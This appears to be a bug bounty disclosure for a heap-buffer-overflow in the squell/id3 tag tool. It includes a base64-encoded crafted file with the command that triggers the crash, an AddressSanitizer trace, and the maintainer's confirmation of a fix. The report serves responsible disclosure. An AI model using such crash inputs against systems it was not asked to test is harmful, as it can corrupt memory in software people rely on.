Heap-based Buffer Overflow in squell/id3

Valid
Reported on Jul 9th 2021

✍️ Description

Hello! We compiled id3 from commit 857ac8 with Clang-13 + ASan, and we discovered a crafted file which triggers a heap-buffer-overflow, WRITE of size 1. This and the previous bug were discovered with the help of honggfuzz.

🕵️‍♂️ Proof of Concept

echo "SUQzBJ2fAAACc1RYRDMAAAACADI2M/1zVFhYAAACAABQT1AAAAEAAAAAAAAAAAAA//hu7gAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAwAAAAAAAAAAAAA7MyL0mtxCJYC+
AVFCAwyHoJytnp/pLGsfS3kQwSbdGtNAj/IrS6U0d2HLSZGxo90IWZS3vKUet/Xlk5a75sU3pfmy
YhRC6mfEmTB7uBKMFAoBd1YzFrCWZypHV7bTAXvgAM9Eu6gKTMhphkX7xOsAfHx8fHx8fHx8fHx8
fHx8fAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE7tzHWL6q9dre2Ctw0ugxI5eHX6S16FJ
oBg=" | base64 -d > /tmp/file.fuzz && ./id3 -u -E /tmp/file.fuzz

ASan stack trace:

==709409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000001b8 at pc 0x00000053dec9 bp 0x7fffeb90fb60 sp 0x7fffeb90fb58
WRITE of size 1 at 0x6130000001b8 thread T0
    #0 0x53dec8 in unsync_dec /root/id3/id3v2.c:93:21
    #1 0x53ea40 in unsync_frames_v2_4 /root/id3/id3v2.c:181:19
    #2 0x53d904 in ID3_readf /root/id3/id3v2.c:244:16
    #3 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #4 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #5 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #6 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #7 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #8 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #9 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #10 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #11 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #12 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #13 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #14 0x4db38a in main /root/id3/main.cpp:631:16
    #15 0x7f44ba8350b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x421fdd in _start (/root/id3/id3+0x421fdd)

0x6130000001b8 is located 0 bytes to the right of 376-byte region [0x613000000040,0x6130000001b8)
allocated by thread T0 here:
    #0 0x49f7ed in malloc (/root/id3/id3+0x49f7ed)
    #1 0x53d200 in ID3_readf /root/id3/id3v2.c:219:11
    #2 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #3 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #4 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #5 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #6 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #7 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #8 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #10 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4db38a in main /root/id3/main.cpp:631:16
    #14 0x7f44ba8350b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/id3/id3v2.c:93:21 in unsync_dec

💥 Impact

This vulnerability is capable of crashing the software and other unintended side effects of writing past the buffer.

We have contacted a member of the squell/id3 team and are waiting to hear back 17 days ago
Marc
17 days ago

Maintainer


The most recent commit 863d42af0621b321f157 also fixes this POC. I've dived a bit more into it and it seems caused by exactly the same problem (i.e. the code reads some bogus value and interprets it as an offset).

Marc R. Schoolderman validated this vulnerability 17 days ago
Geeknik Labs has been awarded the disclosure bounty
$15
The fix bounty is now up for grabs
$0
Marc R. Schoolderman confirmed that a fix has been merged on 863d42 17 days ago
Marc R. Schoolderman has been awarded the fix bounty
$0